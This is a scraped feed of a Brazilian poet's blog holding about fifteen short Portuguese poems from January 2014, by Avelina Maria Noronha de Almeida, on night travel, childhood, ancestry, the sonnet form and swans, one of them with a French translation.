<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMPMtQ91sBMV7_BJhJS03p95a6d9bvQjV6yG8oHTCnyXARlGXIzP7RiJ44LsDppVXhPT7SGnsy3sVkT0rM8DMrbkXtMgDhhlzQEshnRJMKzyTo5ghyl2oRRJ03mlTXvBk4BGINUqi5AlM/s1600/Farois+na+noite.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMPMtQ91sBMV7_BJhJS03p95a6d9bvQjV6yG8oHTCnyXARlGXIzP7RiJ44LsDppVXhPT7SGnsy3sVkT0rM8DMrbkXtMgDhhlzQEshnRJMKzyTo5ghyl2oRRJ03mlTXvBk4BGINUqi5AlM/s400/Farois+na+noite.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
VIAGEM<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
O cisne negro da noite<br />
engole a esteira de luz<br />
dos faróis.<br />
<br />
As árvores entram<br />
e saem de cena<br />
apressadas.<br />
<br />
Lá em cima passeia<br />
a lua, desligada,<br />
desenhando displicentemente<br />
contornos indecisos<br />
no horizonte negro.<br />
<br />
A estrada vai avançando.<br />
Somos passageiros perdidos<br />
dentro do inexorável e grande<br />
mistério da vida.<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-22235395336338839002014-01-30T11:09:00.001-08:002014-01-30T11:09:41.787-08:00VISITAS<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUM34Ma0jx53mn2Sk2Tbqb1T0_bj3C0vgXHLHsQ3O1d84X-d015zDld1gYrOzp_OuPGM9eCIUHdfCVeTr26lf-4lrWnnQVas2RJn_J3Vnv-SWvtuum9WZyqgnwTRfUYdBJ-KEpDu-XSPU/s1600/m%C3%A3os+com+flores+2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUM34Ma0jx53mn2Sk2Tbqb1T0_bj3C0vgXHLHsQ3O1d84X-d015zDld1gYrOzp_OuPGM9eCIUHdfCVeTr26lf-4lrWnnQVas2RJn_J3Vnv-SWvtuum9WZyqgnwTRfUYdBJ-KEpDu-XSPU/s400/m%C3%A3os+com+flores+2.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
VISITAS<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Na sala melancólica e fria<br />
chegaram e deixaram-se estar<br />
incômodas visitas<br />
Algumas trouxeram até flores<br />
mas o seu perfume<br />
longe de inebriar<br />
irritava. <br />
Contavam histórias<br />
riam<br />
mudavam quadros de lugar<br />
folheavam livros<br />
e penduravam retratos<br />
<br />
Saí com passos leves<br />
<br />
Passei o ferrolho <br />
deixei-as prisioneiras<br />
do mofo e da poeira<br />
e respirei o ar livre<br />
da brisa que passava<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-9733210117906906752014-01-26T09:48:00.000-08:002014-01-26T09:48:23.012-08:00ADOLESCÊNCIA<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGuKEgxNGYaFRSyt_fvjXaxtxW5kDmdmSsdPWEQEx8zHv96xm0HBvegau7i4VVn4OFbY_Od_2ZX9ExfnwMtbI3AAIXLOY0Yz5bs0ZRG98yj19eFfSpV8pTyGYgh_y_nLc9NARky9ZeK28/s1600/Adolesc%C3%AAncia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGuKEgxNGYaFRSyt_fvjXaxtxW5kDmdmSsdPWEQEx8zHv96xm0HBvegau7i4VVn4OFbY_Od_2ZX9ExfnwMtbI3AAIXLOY0Yz5bs0ZRG98yj19eFfSpV8pTyGYgh_y_nLc9NARky9ZeK28/s400/Adolesc%C3%AAncia.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
ADOLESCÊNCIA<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Um raio de luar<br />
desliza suavemente<br />
pela janela,<br />
trazendo um príncipe encantado.<br />
<br />
Lá fora,<br />
outros raios<br />
tênues e fugidios<br />
espalham poeira prateada<br />
nas copas das árvores<br />
e na extensão dos campos.<br />
<br />
À noite, o mundo se torna<br />
uma história de fadas.<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-36218737246938586112014-01-25T15:07:00.000-08:002014-01-25T15:07:48.957-08:00MEDO<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjRbDqZs2Yri5KwAh3DqluLacEH7hiOR1MnwGm7HJKxL73eYEkOIatNgDaaCDMFwlrlW1m-UYV3J57bGIohpEhw59Ceny3yhSq8rgFGnj0A1LeLD0UFQMvGi_wxO8Tx1yYDSFP5S5h-H0/s1600/mulher_escrevendpo_papel_voando.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjRbDqZs2Yri5KwAh3DqluLacEH7hiOR1MnwGm7HJKxL73eYEkOIatNgDaaCDMFwlrlW1m-UYV3J57bGIohpEhw59Ceny3yhSq8rgFGnj0A1LeLD0UFQMvGi_wxO8Tx1yYDSFP5S5h-H0/s320/mulher_escrevendpo_papel_voando.jpg" /></a></div><br />
Imagem da Internet<br />
<br />
<br />
MEDO<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Assustam-me esses poemas <br />
que surgem subitamente,<br />
como num passe de mágica.<br />
<br />
Eu os escrevo a medo,<br />
com receio de que,<br />
em algum lugar <br />
onde nascem as inspirações,<br />
dois poemas se encontrem,<br />
enlacem-se amantes<br />
e, feitos um só,<br />
se separem depois<br />
em duas partes, <br />
exatamente iguais,<br />
e desçam em cérebros diferentes...<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-9028209224834051902014-01-25T13:17:00.002-08:002014-01-25T13:17:38.774-08:00PAISAGENS<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5RJnUIbJPopbO7IiJwUBLcfnOCBMtykSz1CfAoF2y1recjwypVzyYNzKpGJxglAM5-hqR4-31iSeNenL8NnCrOCPGIZDH_EbYAlgc1Y0CNOTxxjyFqIQoB2JPnTROlxV1ryyR5zZ2uB8/s1600/Paisagens+3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5RJnUIbJPopbO7IiJwUBLcfnOCBMtykSz1CfAoF2y1recjwypVzyYNzKpGJxglAM5-hqR4-31iSeNenL8NnCrOCPGIZDH_EbYAlgc1Y0CNOTxxjyFqIQoB2JPnTROlxV1ryyR5zZ2uB8/s400/Paisagens+3.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
PAISAGENS<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
Sempre fui uma apaixonada<br />
pelas paisagens da vida.<br />
<br />
Quando eu era pequena,<br />
ficava horas e horas<br />
perdida a olhar um grande livro<br />
cheio de fotografias coloridas<br />
dos quatro cantos da terra.<br />
<br />
Mas se me dessem o mundo inteiro<br />
para carregar meus pés,<br />
em minha aldeia ficaria,<br />
aprisionada nestas montanhas de sonhos<br />
que me levam a todas as distâncias...<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-1313199941906016442014-01-25T05:47:00.000-08:002014-01-25T05:47:29.141-08:00VITÓRIA!<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTduRev-516jJQKjPsqppMF1_Q5DofMt_TvC1s9sA4_SG-AcUSCdM7fj-2-5PKdQ-2eglve6Jz_qC_E2BUrjYs9yFbVN23H_mKfRPeIfqvvH36cNGymRUOxqDPr2fCQeF827ijTP_XeE/s1600/Menino+pintando+com+a+boca.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrTduRev-516jJQKjPsqppMF1_Q5DofMt_TvC1s9sA4_SG-AcUSCdM7fj-2-5PKdQ-2eglve6Jz_qC_E2BUrjYs9yFbVN23H_mKfRPeIfqvvH36cNGymRUOxqDPr2fCQeF827ijTP_XeE/s400/Menino+pintando+com+a+boca.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
VITÓRIA!<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
No doce coração<br />
do menino nasce uma inspiração...<br />
Vai aos lábios e, pelo pincel,<br />
chega a este papel.<br />
<br />
Vem trazendo um raio amarelo <br />
do sol brilhante e belo<br />
e, também, rubra e quente, <br />
a flamejante cor do céu poente.<br />
<br />
Estas cores viram tinta<br />
e, com elas, o artista menino pinta,<br />
a alma feliz cantando<br />
enquanto vai trabalhando. <br />
<br />
O pincel, carinhoso, a folha beija <br />
pintando uma cereja.<br />
Depois, deslizando com amor,<br />
noutras frutas põe a cor.<br />
<br />
O tempo passa fugaz<br />
e o brilho das cores desfaz: <br />
daquele céu poente apaga o rubor<br />
e faz envelhecer a flor. <br />
<br />
Mas se o poente a cor não guardou<br />
e se aquela rosa desbotou...<br />
Viva a maravilhosa folha de papel,<br />
das tintas guardiã fiel!<br />
<br />
Que passe o tempo maldoso!...<br />
No livro tão precioso<br />
a folha traz, preservadas, <br />
as frutas pelo menino pintadas.<br />
<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-3394213104567473952014-01-12T13:41:00.000-08:002014-01-12T13:46:32.733-08:00RAÍZES<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYNh98Av-T4vUSKBuoGUvcaEmHA7N7zf-5N6riETxhG7lKf_ZICHJFhe0PmHU20sBIpl0bC0MXnlgFiL03s6mS2v7ZVBBGn4JUAgn4kPuuP9b8GcE7J9I4zqLyhrk5qtzEvFqOsVJU3Fc/s1600/Ra%C3%ADzes.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYNh98Av-T4vUSKBuoGUvcaEmHA7N7zf-5N6riETxhG7lKf_ZICHJFhe0PmHU20sBIpl0bC0MXnlgFiL03s6mS2v7ZVBBGn4JUAgn4kPuuP9b8GcE7J9I4zqLyhrk5qtzEvFqOsVJU3Fc/s400/Ra%C3%ADzes.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
RAÍZES<br />
<br />
Avelina Maria Noronha de Almeid<br />
<br />
<br />
<br />
Caravela navegou<br />
na selvagem terra chegou<br />
Raça lusitana abriu-se em cor<br />
na seiva, no calor<br />
<br />
Muita riqueza, tesouro<br />
traição, desdouro<br />
confusas trilhas<br />
armadilhas<br />
<br />
Uniões<br />
de posses e corações<br />
<br />
Índia puri pega a laço<br />
no seu verde espaço<br />
o mar da cabeleira mostrou<br />
avô branco mergulhou<br />
<br />
Outro escorregou na senzala<br />
enquanto a sinhá na sala<br />
castamente bordava <br />
e rezava<br />
<br />
Bastardia, anel<br />
nódoa, véu<br />
<br />
Nas misturas<br />
abençoadas ou impuras<br />
vai surgindo a raça<br />
que o sangue entrelaça<br />
na árvore frondosa<br />
de ramagem viçosa <br />
<br />
Muitas luas<br />
sensuais e nuas <br />
passaram<br />
rastros deixaram<br />
<br />
Em cada flor que frutificou<br />
uma vida começou<br />
E foi assim<br />
que a este mundo vim... <br />
<br />
<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-72337251438589612372014-01-12T10:13:00.000-08:002014-01-12T10:13:07.757-08:00NAS ASAS DO SONETO <br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIDJIqVDS7WFLcazez6E2mRklLEycxRxQAmYwKbimYUAFo7abf4bnio4WdUCupykwIvwNq8gbgTSzoQvS-INzFveJA7j7Xu9gcoKro_RvSFZ2XcXjYxklMN7WQRJiBe4m6wFs2zCmLg_w/s1600/m%C3%A3o-escrevendo-300x2491.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIDJIqVDS7WFLcazez6E2mRklLEycxRxQAmYwKbimYUAFo7abf4bnio4WdUCupykwIvwNq8gbgTSzoQvS-INzFveJA7j7Xu9gcoKro_RvSFZ2XcXjYxklMN7WQRJiBe4m6wFs2zCmLg_w/s320/m%C3%A3o-escrevendo-300x2491.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
NAS ASAS DO SONETO <br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Os sonhos e as idéias revelados<br />
em formais versos de cuidado rito,<br />
mesmo em rígida regra encarcerados<br />
alcançarão voar para o infinito.<br />
<br />
Sucedem-se quartetos e tercetos<br />
soprados pela inspiração. E, quando<br />
se vê, na branca folha, um dos sonetos <br />
pouco a pouco se vai delineando.<br />
<br />
Onde está a palavra, a rima ideal?<br />
Não falte o ritmo! Dançam com harmonia<br />
os sons. A chave de ouro, no final,<br />
<br />
é lírica coroa de estesia.<br />
Cintila no soneto, sem rival,<br />
A clássica e formosa poesia!<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-61441636971720315472014-01-12T09:03:00.000-08:002014-01-12T09:22:20.056-08:00CENÁRIO<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivmfboN9hdqKHAGpmgBRKa_9O682PmDS-LL0Yx04Uq-tqkxbqunayuZn8XXpFdBV0NKkRFautiDhqo0gTivA5qz7ck_-LPiE146lMafKYbhLoevAhwJwpRlQ9B4rs28kZIOMQsM0J1Kes/s1600/ceu-estrelado-yaeyama.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivmfboN9hdqKHAGpmgBRKa_9O682PmDS-LL0Yx04Uq-tqkxbqunayuZn8XXpFdBV0NKkRFautiDhqo0gTivA5qz7ck_-LPiE146lMafKYbhLoevAhwJwpRlQ9B4rs28kZIOMQsM0J1Kes/s320/ceu-estrelado-yaeyama.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
CENÁRIO<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
A tarde se levanta<br />
lentamente<br />
e, com seu mágico pincel,<br />
derrama tinta a esmo pelo céu.<br />
<br />
Logo chega a noite.<br />
Pelos jardins da vida,<br />
namorados passeiam<br />
o seu amor.<br />
<br />
E, lá do alto, <br />
o espaço sideral,<br />
de inveja tanta<br />
por não poder<br />
amar assim,<br />
chora lágrimas<br />
de prata.<br />
<br />
<br />
<br />
<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-63497967509203212602014-01-11T10:14:00.000-08:002016-04-12T09:42:56.491-07:00OS CISNES / LES CYGNES<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0qa9YdYRjdfkNuZAMxg_GBJW5qjn4T1EmGFM5W0ailUaG_coh3ZTlZbyxK6WbRmwHYDiS0zBkfcA6rXjj9QLixS5CclxmBgdQm2RrvFT-oTl5srqp-A0zakYawwKh9U_MFbjiMok1rg/s1600/Cisnes+2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0qa9YdYRjdfkNuZAMxg_GBJW5qjn4T1EmGFM5W0ailUaG_coh3ZTlZbyxK6WbRmwHYDiS0zBkfcA6rXjj9QLixS5CclxmBgdQm2RrvFT-oTl5srqp-A0zakYawwKh9U_MFbjiMok1rg/s400/Cisnes+2.jpg" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
LES CYGNES<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
Tradução do poema OS CISNES para o francês por ANGELA VIEGAS<br />
do amigo país Portugal. <br />
Angela tem um magnífico blog: Portugaldecouvertes<br />
http://portugalredecouvertes.blogspot.com/<br />
<br />
<br />
<br />
Ils se sont dissipés<br />
dans la distance<br />
les cygnes de mon enfance...<br />
<br />
Ils nageaient tranquillement<br />
doucement<br />
dans un lac de la couleur du ciel,<br />
sur la page d’un vieux livre,<br />
très ami.<br />
<br />
Ils sont certainement partis<br />
vers d’autres climats<br />
<br />
Moi aussi je suis partie<br />
J’ai marché<br />
d’incertitude en incertitude...<br />
<br />
J’ai navigué<br />
pendant des années<br />
sur des mers<br />
de plaisirs et d’infortunes<br />
et je les ai perdus dans mes objets gardés<br />
empoussiérés.<br />
<br />
Maintenant je les retrouve<br />
sur une toile,<br />
nageant,<br />
heureux sur une eau calme.<br />
<br />
L’image ne révèle pas<br />
dans quel endroit.<br />
En Italie? Suisse? France?<br />
<br />
Je sais seulement<br />
que leurs plumes blanches<br />
sur les eaux si limpides et sereines<br />
évoquent la pureté et la paix.<br />
<br />
Je demande à Dieu<br />
qu’il réponde à mes prières:<br />
<br />
que la méchanceté du monde<br />
jamais n’égratigne<br />
les eaux où nage<br />
un cygne!<br />
<br />
<br />
<br />
<br />
Poema original: OS CISNES<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Sumiram<br />
na distância<br />
os cisnes da minha infância...<br />
<br />
Nadavam tranquilamente,<br />
suavemente,<br />
num lago cor do céu,<br />
na página de um livro antigo,<br />
muito amigo.<br />
<br />
Certamente partiram<br />
para outros ares.<br />
<br />
Eu também parti.<br />
Andei<br />
de léu em léu..<br />
<br />
Naveguei<br />
por anos e anos<br />
em mares<br />
de prazeres e desenganos<br />
e os perdi nos guardados<br />
empoeirados.<br />
<br />
Agora os encontrei<br />
numa tela,<br />
a nadar,<br />
felizes em água mansa.<br />
<br />
A imagem não revela<br />
em que lugar.<br />
Itália? Suíça? França?<br />
<br />
Só sei<br />
que suas alvas penas,<br />
em águas tão límpidas e serenas,<br />
lembram pureza e paz.<br />
<br />
Peço a Deus<br />
que atenda aos rogos meus:<br />
<br />
do mundo a maldade<br />
nunca tisne<br />
as águas onde nade<br />
um cisne!<br />
<br />
<br />
<br />Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-60856656820677262152014-01-11T09:26:00.001-08:002014-01-11T09:29:32.028-08:00INEXORABILIDADE<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjokyvgRU0khrtCW9k9m7M7OgvSj3fHFJniH1_nq5hVzBUk3Dd-Jg-EYSyEsbdzu91H7N3SO2PHVmjTtm24hYEdg5iY4X0AsDY53xidP0OM4mOP4u_qOWZzMZejOVYwkIdtUxYeIV82GzE/s1600/Flor+no+riacho.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjokyvgRU0khrtCW9k9m7M7OgvSj3fHFJniH1_nq5hVzBUk3Dd-Jg-EYSyEsbdzu91H7N3SO2PHVmjTtm24hYEdg5iY4X0AsDY53xidP0OM4mOP4u_qOWZzMZejOVYwkIdtUxYeIV82GzE/s400/Flor+no+riacho.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
INEXORABILIDADE<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
As águas do riacho<br />
escorrem mansamente<br />
Meus pés mergulham na água fresquinha<br />
<br />
Uma flor<br />
passa se debatendo<br />
e eu não me preocupo<br />
em resgatá-la<br />
<br />
Não se resgatam sonhos...Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-81224340135487876662014-01-11T07:39:00.000-08:002014-01-11T07:39:15.556-08:00RETRATOS NA PAREDE<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJjIBzfbsdXnBg8RLrPr90vZzFp7m1uleQkbppbElIo4Ew8TxbcGusDEqqLgI3XwhAta1lEggoEqSqR9pr66t6HBdr81j0e8hNir0KINzHQc8UNDO-5zSgCFxqygAA4IQiZBPlFipv8t8/s1600/Retratos+na+parede.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJjIBzfbsdXnBg8RLrPr90vZzFp7m1uleQkbppbElIo4Ew8TxbcGusDEqqLgI3XwhAta1lEggoEqSqR9pr66t6HBdr81j0e8hNir0KINzHQc8UNDO-5zSgCFxqygAA4IQiZBPlFipv8t8/s400/Retratos+na+parede.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
<br />
RETRATOS NA PAREDE<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Os nomes?<br />
Que importam os nomes?<br />
Prenomes tão vários... ou fanados...<br />
Sobrenomes sobrecarregados...<br />
<br />
Nomes ilustres<br />
apagados<br />
lembrados<br />
esquecidos...<br />
<br />
Que importam os nomes?<br />
<br />
Importam <br />
a fibra<br />
o sabre<br />
a caneta<br />
a dor<br />
a terra lavrada<br />
a lei cumprida<br />
o ideal<br />
a insurreição<br />
o sonho <br />
a luta<br />
o amor...<br />
<br />
QUE IMPORTAM OS NOMES?<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-83635009776768937192014-01-10T11:29:00.001-08:002014-01-10T11:30:40.399-08:00TODAS AS MANHÃS<br />
<br />
<br />
<br />
<br />
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy6Mx1FTN4vsssq2otvM_Z2qm1qlI_jcWLFIBn2L0bEwsbErLIgqpNUoBH9sCBrvvUqW-pHzrqXY27SwAqm1UfKW2awTLqpcqp50FH4H7NoqG2GBBnSgJQn9M4FWmVv5iHlJoBECf9eMY/s1600/mosaicos.jpg" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy6Mx1FTN4vsssq2otvM_Z2qm1qlI_jcWLFIBn2L0bEwsbErLIgqpNUoBH9sCBrvvUqW-pHzrqXY27SwAqm1UfKW2awTLqpcqp50FH4H7NoqG2GBBnSgJQn9M4FWmVv5iHlJoBECf9eMY/s320/mosaicos.jpg" /></a><br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
TODAS AS MANHÃs<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Todas as manhãs<br />
penso:<br />
<br />
vou juntar os cacos de <br />
ontem<br />
<br />
e fazer<br />
um caminho <br />
matizado<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0tag:blogger.com,1999:blog-7145883421360874567.post-44194548010254850862014-01-10T10:58:00.000-08:002014-01-10T10:58:01.198-08:00ESTA RUA<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOIvwz9KK8lwXe-xWRM5mGNLRvPAz4klMG-zCy7dI6mBi5R0hoHpOx-9iFlOu1xqA_7eEumjhMjTi4vYNVA8OZjUzim_rc7a5P26lWOBUjwWBlVp2weAQbLKzCcA165zdWZw6bYUtR8Qk/s1600/Fantasia+de+rainha.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOIvwz9KK8lwXe-xWRM5mGNLRvPAz4klMG-zCy7dI6mBi5R0hoHpOx-9iFlOu1xqA_7eEumjhMjTi4vYNVA8OZjUzim_rc7a5P26lWOBUjwWBlVp2weAQbLKzCcA165zdWZw6bYUtR8Qk/s200/Fantasia+de+rainha.jpg" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Imagem da Internet<br />
<br />
<br />
<br />
<br />
<br />
ESTA RUA<br />
Homenagem à rua em que nasci e vivi a infância<br />
<br />
Avelina Maria Noronha de Almeida<br />
<br />
<br />
<br />
Esta rua é minha.<br />
Aqui fui princesa e rainha.<br />
<br />
A calçada que me gastou os pés<br />
foi terra e foi convés.<br />
<br />
O vento que aqui passava<br />
não ventava, beijava.<br />
<br />
Esta rua é minha.<br />
Aqui fui princesa e rainha...<br />
Avelina Maria Noronha de Almeidahttp://www.blogger.com/profile/00186523678021594673noreply@blogger.com0